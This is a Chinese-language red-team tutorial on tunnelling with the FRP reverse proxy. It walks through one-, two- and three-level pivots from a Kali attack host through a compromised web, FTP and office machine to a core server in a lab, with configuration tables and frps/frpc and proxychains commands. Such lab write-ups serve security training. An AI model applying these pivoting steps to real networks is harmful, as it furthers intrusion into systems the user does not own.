前文推荐:
ATT&CK视角下的红蓝对抗:一. 隧道穿透技术详解
ATT&CK视角下的红蓝对抗:二. 内网探测协议出网
ATT&CK视角下的红蓝对抗:三. 内网常规隧道利用方法
ATT&CK视角下的红蓝对抗:四. 内网穿透之通过Earthworm(EW)进行隧道穿透
ATT&CK视角下的红蓝对抗:五. 内网穿透之利用HTTP协议进行隧道穿透
ATT&CK视角下的红蓝对抗:六.内网穿透之利用FRP进行隧道穿透
一. 通过FRP进行隧道穿透
FRP是一个开源、 简洁易用、可用于内网穿透的高性能的反向代理应用,使用GO语言开发,适用于Windows、Linux平台,同时支持TCP、UDP、HTTP、HTTPS等协议,使用前提是需要一台具有公网IP的服务器(即可以通过外网访问)。frp分为服务端frps和客户端frpc,通过将frps服务端部署在外网服务器开启监听端口,客户端即frpc上传在受控者主机去执行连接服务器监听端口进行隧道穿透。下面简单介绍一下frp的基础使用,frp隧道工具实验拓扑如图1-1所示。
假设我们获取到目标Web服务器的权限后,想要对该目标进行深度渗透获取核心权限,此时可以使用FRP工具进行隧道穿透,利用FRP工具通过各种方式去搭建隧道,具体实验环境如表1-1所示,后续演示会涉及。
表1-1 FRP实验环境表
主机类型 | 服务类型 | IP地址 | 区域 |
---|---|---|---|
Kali 2022 | 攻击机 | 192.168.0.58 | 外网 |
Windows server 2012 | Web服务器 | 192.168.0.25,192.168.52.11 | DMZ区域 |
windows server 2008 | FTP 服务器 | 192.168.52.12,192.168.1.49 | DMZ区域 |
windows 10 | PC主机 | 192.168.1.50,192.168.2.2 | 办公区域 |
Windows server 2012 | 核心服务器 | 192.168.2.3 | 核心区域 |
1.一级代理
假设通过其站点漏洞,获取到Web服务器的系统权限,经探测发现FTP服务器并已经获取到了FTP服务器的RDP的凭证,此时需要攻击机和FTP服务器之间通过Web服务器建立隧道。这里需配置frp服务端,在攻击机部署frps和frps.ini配置文件,对配置文件进行设置。frps配置常见参数值可以如表1-2所示。
表1-2 frps配置常见参数
常见参数值 | 作用 |
---|---|
[common] | 声明标识整体不能缺少 |
bind_addr = 0.0.0.0 | 指定服务端绑定的IP |
bind_port = 7000 | 指定侦听本地开放的TCP端口,可以自定义 |
bind_udp_port=7001 | 指定侦听本地开放的UDP端口,可以自定义 |
proxy_bind_addr = 127.0.0.1 | 指定代理将侦听的地址,默认值与绑定地址相同 |
vhost_http_port=80 | 用于侦听的http端口(可选) |
vhost_https_port=443 | 用于侦听的https端口(可选)http/shttps端口可与TCP端口相同 |
max_ports_per_client=0 | 设置每个客户端使用最大端口数,默认值为0表示没有限制 |
dashboard_addr = 0.0.0.0 | 设置frp管理后台界面,服务器绑定地址 |
dashboard_port = 7500 | 设置frp管理后台端口,请按自己需求更改 |
dashboard_user = admin | 设置管理后台用户名,可以自定义 |
dashboard_pwd = admin | 设置管理后台密码,可以自定义 |
log_file = /var/log/frps.log | 日志保存位置,可以自定义修改 |
log_level = info | 日志检测级别,有trace, debug, info, warn, error五个等级 |
log_max_days = 3 | 日志保留天数 |
authentication_method | 指定使用什么身份验证方法对frpc和frps进行身份验证,默认情况下,该值为"token |
authentication_method = token | 指定了"token,则token将被读取到登录消息中, |
authentication_method = oidc | 指定了"oidc"-将使用oidc设置颁发oidc开放ID连接令牌。 |
token = 12345678 | token即身份验证令牌,可自定义 |
1)首先在攻击机上部署frp服务端工具后,我们需要对frp服务端的frps.ini配置文件进行修改,修改后的frps.ini配置文件中的bind_addr参数指的是监听地址,bind_port参数指的是监听端口,如图1-2所示。
2)当配置参数值成功后,在攻击机使用frps服务端执行./frps -c frps.ini"命令,开启服务端监听,如图1-3所示。
3)接下来通过上传frpc客户端和frpc.ini配置文件到Web服务器,将FTP服务器的远程服务转发到攻击机,这里需要修改客户端配置文件frpc.ini里面的内容,常见的frpc的配置参数如表1-3所示,同时设置frpc配置文件内容,设置server_addr参数指向服务端IP,server_port参数是指连接frps服务端的端口,设置类型为tcp如图1-4所示。
表1-3 配置文件参数
常见参数值 | 作用 |
---|---|
[common] | 声明标识整体不能缺少 |
server_addr = 0.0.0.0 | 设置连接frps的服务器地址 |
server_port = 7000 | 指定侦听服务器开放的TCP端口,可以自定义 |
dial_server_timeout = 10 | 连接到服务器,等待连接完成的最长时间。默认值为10秒。 |
tcp_mux = true | 是否启用tcp复用,默认为true |
dns_server = 8.8.8.8 | 指定一个dns服务器 |
udp_packet_size = 1500 | 指定udp包大小,单位为字节。如果未设置,默认值为1500 |
log_file = ./frps.log | 日志保存位置,可以自定义修改 |
log_level = info | 日志检测级别,有trace, debug, info, warn, error五个等级 |
log_max_days = 3 | 日志保留天数 |
token = 12345678 | 身份验证令牌,token值和frps的token值一致即可连接 |
bandwidth_limit = 1MB | 限制此代理的带宽,单位为KB和MB |
health_check_type = tcp | 启用后端服务的检查,支持“tcp”和“http,frpc将连接本地服务的端口以检测其健康状态 |
health_check_interval_s = 10 | 指定存活探测时间为10秒 |
health_check_max_failed = 3 | 检测如果连续3次失败,代理将从frp中删除 |
health_check_timeout_s=3 | 检查连接超时 |
[ssh] | 代理配置段名称,如果配置user=your_name,则显示为your_name.ssh |
type = tcp | 指定类型tcp|udp|http|https|stcp|xtcp,默认为tcp |
local_ip = 127.0.0.1 | 指定转发本地IP |
local_port = 22 | 自定义端口,指定多个端口如6010-6020,6022,6024-6028 |
remote_port = 6001 | 远程端口监听6001 |
4)启动frp客户端,在Web服务器运行frpc.exe -c frpc.ini启动客户端命令,出现下面内容证明成功,此时FTP服务器的3389端口已经和攻击机的8081端口建立隧道,如图1-5所示。
5)在攻击机使用远程服务连接本地的8081端口,即可成功获取到FTP服务器的远程服务权限,连接成功如图1-6所示。
2.二级代理
当获取到FTP服务器权限后,通过信息收集探测到存在办公区域,已知PC主机有双网卡,并与FTP服务器处于同一个网段,两台主机可以相互访问,而这里需要在PC主机和攻击机之间搭建隧道进行后续利用。
1)在攻击机使用frps开启服务端,进行配置frps.ini文件,如图1-7所示,配置修改完成后在攻击机执行./frps -c frps.ini命令即可开启服务端监听,如图1-8所示。
2)之后在Web服务器配置frp客户端frpc.ini文件,这里修改配置文件内容如图1-9所示,配置完成执行frpc.exe -c frpc.ini命令,将本地8888端口转发到攻击机的的8888端口,如图1-10所示。
3) 在Web服务器部署frps服务端,修改服务端frps.ini配置文件,如图1-11所示,执行frps.exe -c frps.ini命令开启服务端,这里在Web服务器开启监听7000端口,稍后用于FTP服务器frp客户端连接,执行如图1-12所示。
4)在上文所描述的已经获取FTP服务器管理权限的前提下,上传frp客户端工具,修改frpc.ini配置文件,如图1-13所示,执行frpc -c frpc.exe命令,将FTP服务器本地7777端口进行设置为socks5代理端口,转发到Web服务器开启的服务端7000端口进行连接。如图1-14所示。
5)接下来,在攻击机中修改 proxychains4.conf配置文件,并在其底部添加一行socks5 127.0.0.1 8888参数来完成proxychains代理配置,如图1-15所示。
6)当配置完proxychains代理后,即可在攻击机执行proxychains rdesktop 192.168.1.50命令来连接PC主机,如图1-16所示,通过所建立的socks议隧道,我们可以直接远程连接到PC主机。
3.三级代理
1)当获取到PC主机权限之后,根据上述拓扑对核心服务器进行后续渗透,通过frp工具搭建三层代理,将其RDP远程服务转发出来,此时使用socks代理的方式类似于上述操作,首先利用公网服务器部署,frps服务端配置如下,开启运行./frps -c frps.ini命令即可,如图1-17、图1-18所示。
2)在Web服务器部署客户端,先修改frpc.ini配置文件如图1-19所示,执行frpc.exe -c frpc.ini命令,将监听到FTP服务器的7777端口远程转发到攻击机的7777端口,如图1-20所示。
3)继续在Web服务器部署frp服务端,修改服务端frps.ini配置文件,如图3-220所示,执行frps.exe -c frps.ini命令,在Web服务器部署服务端,开启监听7000端口,如图1-21所示。
4)在FTP服务器开启客户端,用于连接Web服务器,修改配置文件如图1-23所示,执行frpc -c frpc.ini,将PC主机开启的7777端口转发给Web服务器监听的7777端口。如图1-24所示。
5)在FTP服务器开启服务端,修改frps.ini配置文件,如图1-25所示,执行frps -c frps.ini命令,开启FTP服务端监听,如图1-26所示。
6)在PC主机上传frp工具,设置客户端配置如图1-27所示,执行frpc -c frpc.ini命令,连接FTP服务器服务端,如图1-28所示。
7)在Kali攻击机修改Proxychains代理配置文件,修改为sock5 127.0.0.1 7777,如图1-29所示。
8)这时可通过攻击机的的7777端口即可访问到核心服务器,在攻击机执行proxychains rdesktop 192.168.2.3命令来连接核心服务器,如图1-30所示,通过所建立的socks 协议隧道,我们可以直接远程连接到核心服务器。
二.本篇总结
随着隧道技术的不断更新迭代,越来越多的攻击者利用隧道技术攻击企业内网,通过本篇文章从利用FRP进行隧道穿透的方式,并且通过大量的案例来演示了多个实际常见的隧道场景,希望本篇内容对读者有所帮助。
我正在参与2023腾讯技术创作特训营第三期有奖征文,组队打卡瓜分大奖!